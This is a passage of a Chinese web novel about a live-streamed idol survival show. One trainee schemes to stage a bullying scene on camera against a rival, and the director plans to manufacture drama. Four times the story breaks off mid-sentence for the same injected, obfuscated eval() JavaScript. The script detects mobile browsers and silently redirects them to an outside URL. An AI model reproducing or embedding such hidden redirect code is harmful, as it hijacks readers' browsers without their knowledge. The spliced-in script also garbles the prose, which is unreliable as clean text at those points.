而是一档从录制初始,就正式开始的直播节目。 练习生们按照节目组的安排,提前一天来到录制基地准备。 上交手机等通讯设备,和外界断开联系。 在节目录制期间,全身心地投入节目的所有录制。 不关注自己的人气和排名,也不关注自己的评价,只把所有精力,放在每一个舞台上。 这是每一年选秀都会有的规则。 练习生们也早就习惯。 ——也早就做好准备。 明面上无法和外界沟通,但那么多工作人员,那么多练习生及其背后的公司,总会有人有办法。 消息不知从哪个隐秘的渠道泄露出来,像一滴冷水滴入滚油,在极小范围内炸开,却又被迅速捂住。 得知真相的练习生们内心翻江倒海,白天录制时每一个不经意的哈欠、一句私下的抱怨、一个可能被解读为“不尊重”的眼神……此刻都成了悬在头顶的利剑。 节目组隐瞒赛制,其用意不言而喻:就是要他们在毫无防备的情况下暴露最真实、甚至是不堪的一面,用他们的“血肉”为节目的话题和热度铺路。 愤怒和恐慌在知情者心中蔓延,但很快被更现实的算计取代。 他们互相交换着眼神,迅速达成了无声的默契:保守这个秘密。 在其他人仍蒙在鼓里时,知情本身就成了一种优势。 他们可以更好地管理表情,控制言行,甚至在“不经意间”展现出设计过的“真实”,而不知情者,则可能成为直播镜头下最天然的“丑角”和背景板。 * 晚餐结束,练习生们三三两两返回演播大厅,为接下来的录制做准备。 从安来得早,吃得少还快,他回到摄影棚,这里人还不多。 摄影棚是一栋专门的楼。 有三层。 经过装修,现在一楼最大的演播厅,就是他们正在录制初舞台的演播厅,估计之后的每次公演,也会在这个演播厅录制。 二层和三层则是不同的练习室。 从安并没有去看过,但根据他去年对这里的了解——是的,去年从安录制的五代出道综艺,正是在这个影视基地,甚至这栋楼里录制——二层和三层会是象征着不同等级的练习室。 等初评级结束,练习生们会按照评级分为不同的班级,在不同的练习室里进行学习和联系。 从安猜测着接下来主题曲的风格,脚下的速度很慢。 吃完饭之后不能立刻休息,也不能做激烈运动。 像这样类似散步地走着,是一个很好的选择。 安文乐一踏进大门,就看见了在走廊里踱步的从安。 他嘴角的笑容冷淡了一瞬。 “文乐,如果有什么事情你就说出来,我会帮你的。”周骏看着安文乐勉强的笑容,忍不住开口,“一会儿还要初舞台表演,你不能这样上台。” 周骏就是刚才和安文乐一起吃饭的练习生之一。 一顿饭的时间,两人已经成为了朋友。 现在周骏真心实意地在为安文乐担心之后的初舞台。 周骏已经表演过初舞台,得到了C的评级,而安文乐还没有表演。 在吃饭时,安文乐言语间不乏对之后表演的紧张和担忧。 他忧心忡忡,害怕自己表现不好。 据安文乐所说,为了来参加节目,他花了自己所有的积蓄找老师学习、练习,但就算如此也不够,因此欠了公司不少钱。 如果在节目里表现不好,他之后肯定会背上巨额债务。 周骏一边觉得震惊,一边也不由得希望安文乐在节目里的表演能更好些。 安文乐外貌不差,实力目前还没展现,但对方性格很好,想必只要实力不是差到离谱,那也不至于有个太差的成绩。 “没事的……”安文乐低声开口,还想再说些什么,却突然被打断了。 “安文乐,你跟我来一下。”陈宁陵匆匆走了过来,拉着安文乐径直就走。 陈宁陵和安文乐是同一个公司的练习生,在一百名练习生的节目里,他们两人天生会更亲近一些。 陈宁陵动作太快,安文乐没时间解释什么,匆匆朝周骏歉意地笑笑,然后跟了上去。 周骏见状,也没在原地多待,只是这会儿距离一个小时的休息时间还有一会儿,他也不想回演播厅干秃秃地坐着。 看到不远处来回散步的从安,干脆自己也在原地走了起来。 没走多久,就看见安文乐回来了。 只是安文乐脸上的笑容更勉强了。 “你怎么了?”周骏走过去,“难道刚才那个人?” “不是。”安文乐摇头,“他和我是一个公司的,他只是有事和我说。” “我只是在想,如果遇见不好的事情,一定要反抗吗?” “当然!”周骏不假思索地开口,随后他迅速意识到什么,“你打算说出来发生什么了?” “我……”安文乐表情犹豫,视线在走廊里晃了一圈,好像是看到了什么,又迅速地收了回来。 摇头:“不是,其实没发生什么。” 周骏没有错过安文乐的眼神。 安文乐刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802371|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很明显是打算说些什么,但他又看到了一些东西,所以改了主意。 周骏顺着安文乐刚才的视线看过去,看见了从安。 从安,明辉娱乐的练习生。 大公司出身,练习多年,自带粉丝基础。 尽管现在还有一小半练习生没有进行初舞台表演,但在许多练习生心里,从安已经是出道的热门选手之一。 难道和安文乐有矛盾是从安? 周骏迅速理解了。 在这样一个节目里面,没有人会愿意树敌,更别提还是像从安这样的大公司选手。 如果安文乐和从安之间真的发生了什么,如果是从安的错,那安文乐肯定会抱着不想得罪从安的想法,隐瞒下来。 但是!这样的想法是错误的! 对就是对,错就是错。 隐瞒不会得到任何好的结果。 而且和这些所谓的大公司人气练习生打好关系又能如何? 他们出道的几率会因此增多吗? 会吸引更多粉丝吗? 会得到更多投票吗? ——不会。 在这个节目里,只有自己的实力,自己的魅力,才是吸引观众的唯一途径。 “是不是从安。”周骏笃定开口。 安文乐表情一顿,然后迅速摇头。 周骏得到了答案。 他朝着从安走了过去。 “从安,安文乐怎么得罪你了,你要这样对他?” 从安一抬眼,看见的就是一个有些陌生的练习生气势汹汹地朝自己走来。 往后看,看见他身后的安文乐,从安顿时明白了。 安文乐连忙跑了过来,拉住了周骏,低声开口:“不要这样,这里人太多了。” 这条走廊是回演播厅的必经之路,虽然现在更多的练习生还在食堂或者已经回到了演播厅,停留在走廊里的并不多。 但人来人往,如果在这里起了争执,毫无疑问,会立刻被发现。 周骏完全不是能咽下委屈的性子,见安文乐话语间有所松动,迫不及待开口道:“那我们换个没人的地方。” 说完,周骏挑衅地看着从安。 颇有一种看你敢不敢跟上的样子。 从安并不想去。 与其浪费这个时间,不如再多走两圈。 现在他的身体经过进食和散步,已经充分被调动了起来,状态正好。 无论做什么都是黄金时间。 他不想把时间放在这种一看就有问题的人际关系上。 但是…… 从安的目光在安文乐脸上划过。 忐忑、惊慌、害怕……还有那藏得更深的期待、庆幸、不怀好意。 上了那么多年演技课,写了那么多人物分析,从安确信自己没有看错安文乐此刻的情绪。 从安眉头微蹙,但还是颔首同意了:“走吧。” 安文乐双眼微睁,像是没想到从安的反应。 看得周骏在心里又给从安罪加一等。 “我知道一个没人的地方。”安文乐低声开口,走在前面带路。 背对两人的瞬间,安文乐终是忍不住,嘴角泄露出微末的笑意。 12.第 12 章 安文乐走在前面,心跳因隐秘的期待和一丝紧张而略快。 他刻意将步伐放得有些沉重,引领着周骏和从安,拐进那条他中午时发现的僻静走廊。 这里灯光昏黄,远离主要动线,最重要的是——那个隐藏在高处装饰缝隙后的镜头,正无声地覆盖着这片区域。 直播。 这个词在安文乐的胸腔里灼烧。 陈宁陵把他拉到一边,压低的惊惶嗓音仿佛还在耳边:“是直播!从我们进棚就开始了!很多地方,尤其是这种半公共的过道和舞台,都是实时播出去的!” 最初的震惊过后,狂喜瞬间攫住了安文乐。 这不仅是赛制的颠覆,更是他绝佳的武器。 在所有人都蒙在鼓里、最容易暴露真实、甚至丑陋一面的时候,如果他能让从安在这个精心挑选的“直播镜头”前,再次说出餐厅里那种冰冷刺骨、足以被解读为“傲慢刻薄”、“欺凌他人”的话……那么,从安的口碑,将会遭到怎样的冲击? 他几乎能想象舆论如何发酵。 想到这里,安文乐几乎要克制不住嘴角的弧度。 在这个时间,拉着刚刚建立“友谊”、正义感爆棚的周骏,来演这出戏。 周骏是他的证人,更是他计划中,将冲突“合理化”并引向从安的钥匙。 他在那隐蔽摄像头的有效范围内停下,转身,正准备将自己调整到最完美的“受伤却强忍”状态—— “这里不行。” 从安平静的声音像一根细针,猝不及防地刺破了他酝酿好的气氛。 安文乐心里猛地一坠,脸上刻意堆起的难过表情险些碎裂。 他强撑着不解:“为……为什么?这里已经很安静了。” 从安没有多看安文乐一眼,只是抬手指向那个好似无人察觉的隐蔽角度,语气平淡得像在陈述今天的天气:“那个位置,通常会有备用机位。不确定是否开着,但没必要冒险。” 他终于将目光投向安文乐,眼神里没什么情绪,却让安文乐感到一阵被看穿的心虚,“私下谈话,去个真正没镜头的地方。我知道一个,去不去?” 他怎么知道?! 安文乐的呼吸几乎停滞,一股混合着震惊、慌乱和不甘的情绪猛地冲上头顶。 计划的核心——直播镜头——被从安轻描淡写地指了出来! 他怎么会对这里的机位这么熟悉?是巧合,还是他也提前探查过?或者……他根本就是知情者之一? 不行,不能慌。 安文乐急速思考。 从安的理由太过真的,没人会愿意将自己的隐私暴露在镜头前。 如果不能找出一个合理的理由,只会显得他可疑。 而且周骏会怎么想? 直播镜头后的观众如果察觉,效果可能适得其反。 就在安文乐心脏狂跳、试图找出理由坚持时,旁边的周骏已经皱着眉头打量了一下那个方向。 他并没有过去翻看那精致摆放的花草后面,是否真的有一个摄像头。 无论有没有,只要有那个可能性,就已经意味着这里不是一个说话的好地方。 周骏爽快地对从安点头:“你说得对,是得小心点。那就去你说的地方吧,反正就是把话说清楚,哪里都一样。” 周骏的附和像最后一根稻草。 安文乐知道,他无法再坚持下去了。 他必须立刻做出选择。 “……好。”他低下头,咽下满腔的不甘和被打乱步骤的慌张,声音闷闷的,借此掩饰脸上的僵硬。 计划已经夭折,但好在他还有周骏这个“观众”。 也好。 安文乐快速调整心态。 既然直播镜头用不上了,那就让周骏亲眼看看、亲耳听听从安是多么不近人情、以强凌弱吧。 性格单纯的周骏,他的义愤和同情,本身就是一种武器,日后未必没有用上的时候。 从安见状不再多言,转身带路。 他对这栋建筑的熟悉程度远超安文乐的预料,三拐两绕,就推开了一扇厚重的、不起眼的铁门。 门后是一个堆满灰尘和废弃器材的杂物间,空气滞闷,唯一的微光来自高处积满灰尘的气窗。 这里杂乱、闭塞,与外界彻底隔绝,也确实看不到任何录制设备的痕迹。 铁门沉闷地合拢,将三人与外界完全隔开。 几乎在隔绝感形成的瞬间,安文乐就抬起了头,眼眶迅速泛红,那不是演技,更多是计划受挫的急怒和必须抓住眼前机会的迫切,混合成了逼真的委屈。 “从安……对不起,”他的声音带着哽咽,看向从安,“我真的不知道我哪里做错了,让你对我有这么大的误解。我对你真的没有恶意。” 他停顿,让那份“难过”发酵,“可是你在餐厅说的话,真的很过分。我只是……只是想认识你,觉得你特别厉害,想交个朋友……你为什么要那样说我?说什么这里没有星,不该有粉丝……还说是‘绊脚石’……我听了真的很难过。” 周骏站在他身侧,听着安文乐的话,眉头渐渐皱了起来。 尽管安文乐描述得不是很全面,但仅从这三言两语,就足够周骏判断出很多内容。 现在回想一下,安文乐在他们那张桌子坐下前,不正是在从安那个方向过来的吗? 从安大公司出身,练习多年,公司里有当红的前辈师兄,有备受赞誉的优秀老师,还有无条件支持的粉丝们。 而安文乐和他一样,只是来自不知名的小公司,别说有名的同公司前辈了,能有一个出道的艺人,都算这个公司不错。 更别提还需要自己出钱去上的各种练习课程……永远没有光照的练习室…… 正因为处境太过一致,所以只和安文乐聊了几句,周骏就已经就已经视安文乐为朋友了。 而现在安文乐说的话,周骏毫不费力地想到了过去听说过的无数前例。 大公司的练习生瞧不起小公司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806979|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的练习生,这可真是太常见了。 常见到在许多人心里这仿佛都已经成了一件理所当然的事情。常见到只要那些大公司的名字一出来,在无数小公司练习生心里,那些大公司练习生身上仿佛就已经出现了耀眼的光环。 所以,从安也和那些无数所谓的‘大公司练习生’一样吗? 对小公司出身的他们不屑一顾,甚至于恶语相向? 周骏看向从安的目光充满了不赞同,哪怕还没听完事情的全貌,但在他心里,这件事情的起始已经无比清晰了。 从安静静地听完,脸上没有任何波澜。 他的目光在昏暗中显得格外清晰和冷静。 “来到这里,”他开口,声音在寂静的杂物间里平稳地铺开,“所有人的目标,应该都只有一个。” 他的视线平静地扫过两人。 “是为了出道。” “我在餐厅说的话,不是针对你个人。”他看着安文乐,语气没有起伏,“如果换成别人,对我说同样的话,我的回答也不会变。我对事不对人。” 他略微停顿,像是在陈述一个毋庸置疑的事实。 “我来到这里,目标非常明确。我就是想出道。所以,其他任何与此无关的事情,我都不想,也不会花费太多精力。” “你的喜欢对我而言,毫无意义。对你自己,也没有任何意义。” “我不是来交朋友的。”最后这句话,他说得清晰而直接,没有傲慢,只是一种纯粹的声明,“所以,别人怎么看我,我并不在意。” “这样的话,我只会说这一次。”他象征性地看了一眼手腕,“马上要继续录制了,我先走了。” 他没有丝毫犹豫,转身,拉开门。 外界的光线和声音涌入,瞬间打破杂物间里凝滞的、充满表演性委屈和无声对峙的空气。 从安的背影消失在门外,干脆利落,没有回头。 铁门缓缓自动关上,再次将昏暗和寂静封闭于此。 安文乐站在原地,脸上那精心维持的委屈表情,在门关上的瞬间迅速褪去,只剩下冰冷的阴沉和一丝未能得逞的愠怒。 从安的反应完全超出了他的预设——不接招,不纠缠,不陷入任何情绪辩论,只是用最简洁直白的方式划清界限,把一切归结于冰冷的目标。 这让他所有的表演、所有的铺垫,都像是一拳打在了空气里,徒劳又尴尬。 周骏则有些发愣。 从安的话太过直白,甚至冷酷,但却有种让人无法反驳的真实感。 在这个地方,“为了出道”难道不是最核心的动力吗? 那句“不是来交朋友的”虽然刺耳,却撕开了许多温情表象下的实质。 他看了看脸色难看的安文乐,又回味了一下从安毫无波澜的眼神和话语,原本满腔的打抱不平,此刻像是被戳了个口子,有些泄气,又有些迷茫。 杂乱的房间里,只有灰尘在微弱的光柱中,无知无觉地飘落,浮沉。 13.第 13 章 练习生们虽然休息了,但工作人员依然忙碌。 在会议室里,一场小型会议正紧锣密鼓地开展着。 “数据爆了。”宣传组的工作人员盯着实时流量后台,声音里压着兴奋,“光是白天初舞台上半场,全网累计观看人次破六千万,话题阅读量十二亿。杜导,咱们这步棋走对了。” 导演杜唐站在中央,目光从一个个被加粗放大的红色数据上扫过。 他脸上没什么表情,只有镜片后的眼睛微微眯起——那是他满意时才有的细微表情。 直播。 这个他力排众议拍板决定的赛制,如今看来赌赢了。 真实的反应,未经剪辑的冲突,哪怕是一些笨拙和尴尬,都成了观众追看的理由。 但还不够,杜唐想。 光有直播的形式,还缺一把火,一个能持续点燃话题的引信。 他的视线落在其中一块分屏上。 那是练习生reaction镜头。 现在座位上空无一人,但那三个座椅上的号码格外清晰。 六十一,六十二,六十三。 “练习生个人讨论度呢?”杜唐问。 “已经有人开贴汇总了。”工作人员调出舆情面板,“目前人气断层第一的是师启,海外练习背景,实力强劲,话题度高。第二是陈子谦,嗓音出圈。第三……” 杜唐摆摆手,打断汇报:“从安的数据怎么样?” 工作人员愣了一下,迅速调出具体分析:“从安……讨论量排在第十五位左右,不算顶尖,但有特点。主要是养成系话题,去年《第五纪》的遗珠,今年再战,他初舞台拿C的片段已经有小范围传播,争议点在于‘退步了’还是‘评委严’。” “还有吗?” “有个细节。”工作人员放大一个讨论帖,“下午五点半左右,备用三号机位拍到一条僻静走廊,从安和另外两个练习生站在那里说了什么,但听不清。帖子讨论了几楼,有人觉得气氛怪,但没掀起水花。” 杜唐盯着那张模糊的截图,看了几秒,忽然笑了。 这笑容让周围的工作人员都有些意外。 杜唐很少笑,尤其是在工作时。 “你们知道我当时为什么坚持要请从安来吗?”杜唐忽然开口,声音不高,但在安静的会议室里很清晰。 几个工作人员面面相觑。 “去年我拍《第五纪》,从安是我印象最深的练习生之一。”杜唐走到主控台前,调出去年的一些资料片段,“不是因为他实力最强,那时候他确实还嫩,是因为他这个人,太‘真’了。” 屏幕上出现去年《第五纪》的片段。 还未满十七岁的从安在采访间里,被问到对某个赛制的看法,他直接说:“我觉得不公平,这对准备了很久的练习生不尊重。”后期甚至给他打上了‘个人观点’的标签。 另一个片段里,有练习生在后台哭泣,别人都在安慰,从安却站在一旁,认真地说:“哭解决不了问题,不如把这段编舞再练十遍。” “直言不讳,容易冲动,情绪写在脸上。”杜唐关掉视频,“这种人,在剪辑节目里是‘争议’,但在直播里——” 他转过身,看着满墙的实时画面:“就是最好的爆点。” 有人恍然大悟:“所以您邀请他,是期待他在直播里……” “要么他今年彻底改了性子,那就有‘成长故事’可讲。”杜唐推了推眼镜,“要么他还是那样,那直播镜头会放大他每一个真实的反应——无论好的坏的,都是话题。” 他顿了顿,补充道:“而且,养成系出身,去年积累的粉丝基础,和今年选秀的碰撞……这些天然就有讨论度。” “那如果他从头到尾都很平静呢?”有人小声问。 杜唐看了一眼属于从安那一区域练习生的镜头画面:“那我们就帮他制造点不平静。镜头会给足,故事线会铺好,观众爱看逆袭,我们就给他们看逆袭——只是这个逆袭的每一步,都得在镜头下完成。” * 从安回到演播厅时,大部分练习生已经坐在金字塔形的阶梯座位上了。 相比白天的紧张和拘谨,气氛明显活跃了许多—— 或者说,过于活跃了。 “刚才那段我真的服了自己,怎么能忘动作呢!”前排一个染着银发的练习生正大声说笑,手臂夸张地比划着,声音大到半个演播厅都能听见。 另一侧,两个练习生正在模仿某位导师的招牌点评动作,模仿得惟妙惟肖,周围聚集了一圈人,笑声阵阵。 更远处,甚至有人拿出小零食分享,互相拍肩鼓励,俨然一副联谊会的氛围。 从安默默走回自己的位置。 他的目光扫过这些热闹的景象,眉头几不可察地蹙了一下。 不对劲。 太刻意了。 那些笑声的弧度,那些动作的幅度,那些不时在四处逡巡仿佛在找着什么的目光——都透着一股表演感。 仿佛他们不是在休息,而是在某个看不见的舞台上。 可是为什么?从安困惑地想。现在不是录制间隙吗?导师还没入场,工作人员也在外围,又没有镜头在拍…… 忽然,一个念头闪过:除非,有镜头在拍。 他想起去年参加《第五纪》时,节目组那些无处不在的隐藏机位,那些突然出现在休息室的GoPro,那些被剪进花絮的“后台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811507|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真实瞬间”。难道今年也有?还是说,节目组提前透露了某些赛制,比如“日常表现会计入评分”之类的? 从安的目光在整个演播厅转动。 不是所有人都如此刻意,还有更多的一眼看去真的在休息的练习生。 闭着眼睛,姿态松弛。 所以,到底有没有镜头正在拍摄? 脚步声从前方传来,从安没有去看,但能从余光看到安文乐和周骏一前一后走上台阶,走向他的身后。 他听见周骏低声说了句什么,安文乐含糊地应了一声。 从安始终没有转头。他能感觉到,有两道视线在自己背上停留了片刻——一道带着不甘的刺探,一道带着复杂的犹豫。 然后那目光移开了。 从安的表情没有任何变化。 他只是想,无论其他人知道什么,在镜头前表演什么,又或者试图做些什么,他的目标都不会变。 C班只是起点,他想要出道,就必须比所有人都更专注。 从安闭了闭眼,不再去想这些事情。 六点整,演播厅所有灯光亮起。 下半场录制开始。 流程和白天一样,但气氛明显不同了。 也许是夜晚让人更敏感,也许是上半场的结果让剩下的人更紧张,也许是那些“知道些什么”的练习生开始有意无意地调整自己的表现。 从安安静地看着。 他看到一个练习生在表演结束后,拿到了F,绽开了一个灿烂的、带着泪光的笑容,用力地说:“我会继续努力的!不会让支持我的人失望!” 他看到另一个练习生在等待点评时,不断调整站姿,每个角度都像是精心设计过的。 他还看到安文乐上台了。 平心而论,安文乐的表演不算差。 他们这一组选了一首流行舞曲,安文乐在其中算得上突出。 他的舞蹈动作流畅,唱功稳定,甚至在间奏部分加入了一段即兴的互动手势,手指划过空中,最后定格在一个像是拥抱镜头的姿势。 表演结束时,他微微喘息,额发被汗水浸湿,清秀中带着点可爱的样貌,配上微微卷曲的棕发,还没开口,就有一种惹人生怜的感觉。 导师点评环节,舞蹈导师厍贝肯定了他的节奏感和舞台表现力,但也指出几个动作的力度控制不够均匀。 声乐导师伊宾白则说他的音色不错,但情感投入可以更深。 最终评级:C。 和从安一样。 安文乐接过评级贴纸时,脸上的笑容完美无缺。 但当他转身走回座位时,从安看到了他瞬间垮下的嘴角,以及眼底那抹没能完全藏住的不甘。 14.第 14 章 周骏的表演在安文乐之后。 他们组的舞台偏抒情,比起其他舞台激烈的唱跳,这组练习生的舞台更多的是一种娓娓道来的氛围。 轻柔且简单的舞步,增添了一种恰到好处的克制。 在接连看了许多各有特色的唱跳之后,突然出现一个这样的舞台,颇有一种眼前一亮之感。 但导师不看这样的氛围。 没有太多的舞蹈分数,仅从声乐上来看,技巧上没有太多炫技,但嗓音干净,感情真挚。 导师最后给周骏的评价是“有潜力但需要更多技巧训练”,给出了C。 当周骏回到座位,下意识看向从安的方向时,从安已经移开了视线,专注地盯着下一个即将上台的选手。 音乐响起,少年跳起一段极具爆发力的街舞。 动作有些不标准,但充满了原始的生命力和不顾一切的狠劲。 结束时,他直接瘫倒在舞台上,胸膛剧烈起伏。 个人介绍环节,他说他是个人练习生,舞蹈是从小自学的。 从安记得他白天在食堂独自吃饭的样子。 大口大口的,吃得很香,看起来丝毫没有身材管理的顾忌。 全场安静了几秒,然后爆发出掌声。 从安记住了他的名字。。 车明杰。 录制持续到晚上十一点。 当最后一位练习生拿到评级,导演宣布“初舞台评级全部结束”时,演播厅里响起一片混杂着叹息、欢呼和疲惫沉默的声浪。 灯光暗下去一半,许多练习生长舒一口气,那些刻意挺直的背脊明显松垮下来。 “所有练习生注意,”工作人员拿着麦克风喊话,“今晚好好休息,明天上午九点,演播厅集合,有重要安排公布。” 人群开始挪动。 从安站起身,活动了一下僵硬的肩颈。 他随着人流往外走,耳边传来各种压低声音的交谈。 “累死了……” “你看到那个谁跳成那样居然拿了B?” “明天到底要干嘛啊?” 走廊的灯光比演播厅暗许多,将每个人的影子拉得很长。 从安走在人群中,脑子里已经开始规划明天的安排:早起锻炼,早餐控制碳水,抓紧时间练习…… “从安。” 声音从侧后方传来。从安脚步未停,只是微微侧头。 周骏快走两步追上他,犹豫了一下,才开口:“那个……今天,在走廊,还有杂物间……对不起,我可能有点冲动。” 刚才录制时,从安在杂货间说的话一直萦绕在周骏脑海中。 知道自己要参加选秀节目,所以在来之前,周骏把往年的选秀大大小小看了不少。 也上网搜过很多粉丝的言论。 少年们怀揣着梦想来到这个舞台,在这里努力、奋斗,为了同一个目标拼搏……这种为舞台付出一切的模样格外动人,看节目时周骏深受触动 。 他因为看到男团在舞台上的表演,倍感向往,从而决定成为一名练习生,向着成团努力。 而在看了选秀之后,这份努力路途之中的艰辛和残酷才对他展露了一丝样貌。 只是没有真正接触过,依然如镜花水月一般有些虚幻。 这两天真实踏入这份选秀场地的兴奋和激动之感占据多数,周骏的思维完全没有转换过来,还停留在以前。 只觉得按部就班地练习,休息,录制……好像就能迎来那最终的成团夜,等到结果的公布。 但从安的话如当头棒喝一般,让周骏猛然清醒。 这不是一个过家家游戏,更不是轻轻松松就能参加的节目。 这是无数练习生向往的舞台,更是充斥着选拔与淘汰的残酷赛场。 轻率的心态除了让人失败,没有任何好处。 从安的话没有任何错。 是他想得太简单了。 从安看了周骏一眼。昏暗的光线下,周骏的表情有些局促。 “没事。”从安说,语气平淡,“过去了。” 他说完便转回头,继续往前走。没有多余的话,没有试图拉近关系,甚至连脚步节奏都没有改变。 周骏停在原地,看着从安融入前方人群的背影,张了张嘴,最终什么也没说出来。 更后面几步,安文乐将这一幕尽收眼底。他嘴角扯起一个极淡的弧度,然后低下头,加快脚步,越过了周骏。 离开摄影棚,一众练习生们在工作人员的带领下到达了另一栋楼。 这两栋楼隔得不远,走路不到十分钟就到了。 虽是深夜,但在场的都是二十左右的少年,一路热热闹闹地说着话,人也不少,倒是驱散了这抹深夜的寂静。 等站在了宿舍楼的大厅,白色的灯光照亮所有人的脸庞,工作人员拿出扩音器说话,众人才渐渐安静了下来。 “一楼有五间房,二楼和三楼各有十间房。” “你们有一小时的时间选择自己的室友。” “选好之后同一间宿舍的四个人一起来我这里登记,就可以拿着行李选房间回去休息了。” “听清楚了吗?” 练习生们面面相觑,没想到还有这个环节。 他们昨天就来到了基地,来了这栋宿舍楼,还在这楼里睡了一夜。还以为宿舍就这样定下来了呢。 结果现在还要再选一遍室友和宿舍吗? 但转念一想,倒也正常。 因为今天早上起床时,工作人员还专门让他们收拾了自己的行李,带到了一楼的空房间放好。 昨晚睡了一夜的房间,在他们离开后,也恢复成空荡的模样。 如此,今晚再选宿舍,倒也算正常。 很快,练习生们就平静下来。 显然是想明白了。 但新的问题有浮上心头。 “老师,选室友就这样直接选吗?我想选谁就选谁?”有人举手提问。 一百个人说多不多说少也不少,站在一楼大厅里,也把大厅占了个半满。 工作人员站在楼梯上,居高临下地看着所有人,把举手提问的人看的一清二楚,也把其他练习生的神情看在眼里。 摄像师站在摄像机后面,在练习生前面站了一排,专心地拍摄着。 拿着扩音器的工作人员微微一笑:“当然不是,毕竟是要住在同一间房里面的室友,所以得愿意住在一起才行。” “你可以邀请,如果对方同意了,你们就能一间。” 非常简单的规则。 既不随机,也不强制,全凭自愿。 但这, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822415|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是最大的问题。 工作人员话音一落,就有人迅速反应过来了。 在这样的节目里,自愿才是最大的问题。 选秀节目什么最重要?当然是镜头最重要。 而怎样能拥有更多镜头? 除了自身的精彩发挥,还有另一个众所周知的方法—— 那就是和镜头多的人待在一起! 成为那些人气练习生的‘朋友’,和他同进同出,自然能蹭上不少镜头! 这是前几季选秀下来,已经被证实确实可行的路径之一。 甚至在上一季的时候,还有一名初期没有声量的练习生,就是靠此,和一名人气练习生绑定,在后期拥有了不少镜头和故事,和那名练习生组成了一个高人气CP,最后成功出道了。 而现在可以自己选择室友? 想到以往种种的成功案例,不少练习生的内心顿时火热起来。 瞬间,有几名练习生身边就围满了人。 师启、柯子晋、查舟、司景曜……这些在进节目之前就备受关注的练习生,此刻俨然成了香饽饽。 柯子晋苦不堪言地从人堆里拉出了车明杰和陈子谦,站在一起,然后连忙随口同意了一个身边请求一起住的练习生。 他们三个人都是光芒娱乐的练习生,四个人一间房,他们三个当然要住在一起,这样就还差一个人。 谁来都行。 只是开口试试的练习生没想到柯子晋居然一口答应了下来,他愣了片刻,接着就是喜不自胜。 光芒娱乐可是一个大公司,每年的选秀都会派出不少练习生去参加。 这么多年选秀,每年的选秀团最终成员,都有光芒娱乐的练习生。 一年接一年,从光芒娱乐走出来的练习生,已经成为了爱豆圈的中坚力量。 因此每年的新选秀,光芒娱乐的练习生,天然就自带关注度。 现在他和他们三个人住在一起?这简直是天大的好事! 毕竟光芒练习生的镜头肯定不会少,他就跟在他们身边,怎么着也能蹭上几个。 “你叫什么名字?”柯子晋已经走到了登记的工作人员面前,在车明杰写他们三人名字的时候,他转头问这新鲜出炉的室友。 “庄哲。”庄哲忙不迭开口。 看到自己的名字被车明杰写在纸上,才终于放下了心来。 周围的练习生看见庄哲如此轻松就和光芒三人成为了室友,顿时一阵惋惜。 他们开口的速度怎么就慢了呢? 如果他们先开口,那成为光芒三人室友的机会不就落在他们身上了? 心里这么遗憾着,但他们的动作丝毫不慢。 这边光芒三人已成定局,他们很快把目光投向了剩下的大公司练习生身上。 从安上一秒还在想着得早点找到室友,把房间定下来,这样说不定就能住在一楼,进出更方便,下一秒,他面前就已经围上了层层的人。 明辉娱乐可是丝毫不逊色于光芒娱乐的大公司,而且因为养成系的特殊性,粉丝粘性极高。 从安简直就是一个行走的话题。 谁要是和他打好了关系,那镜头和关注度能少吗? 瞬间,无数邀请就摆在了从安面前。 “从安,我们一间房怎么样?” 15.第 15 章 从安被这突如其来的热情包围,眉头几不可察地蹙起。 他抬眼,视线平静地扫过眼前一张张写满热切的脸,并没有立刻回应。 “我习惯早起,可能会影响室友休息。”他开口,声音不高,却让周围的嘈杂静了一瞬,“而且会加练到很晚。” 这算不上拒绝,更像是提前告知。但话里的潜台词很明显——和我同住,意味着要适应这样的作息。 几个脑子转得快的练习生立刻犹豫了。蹭镜头固然好,但如果代价是休息不足、压力倍增,甚至可能因为对比太明显而沦为背景板,那就得掂量掂量了。 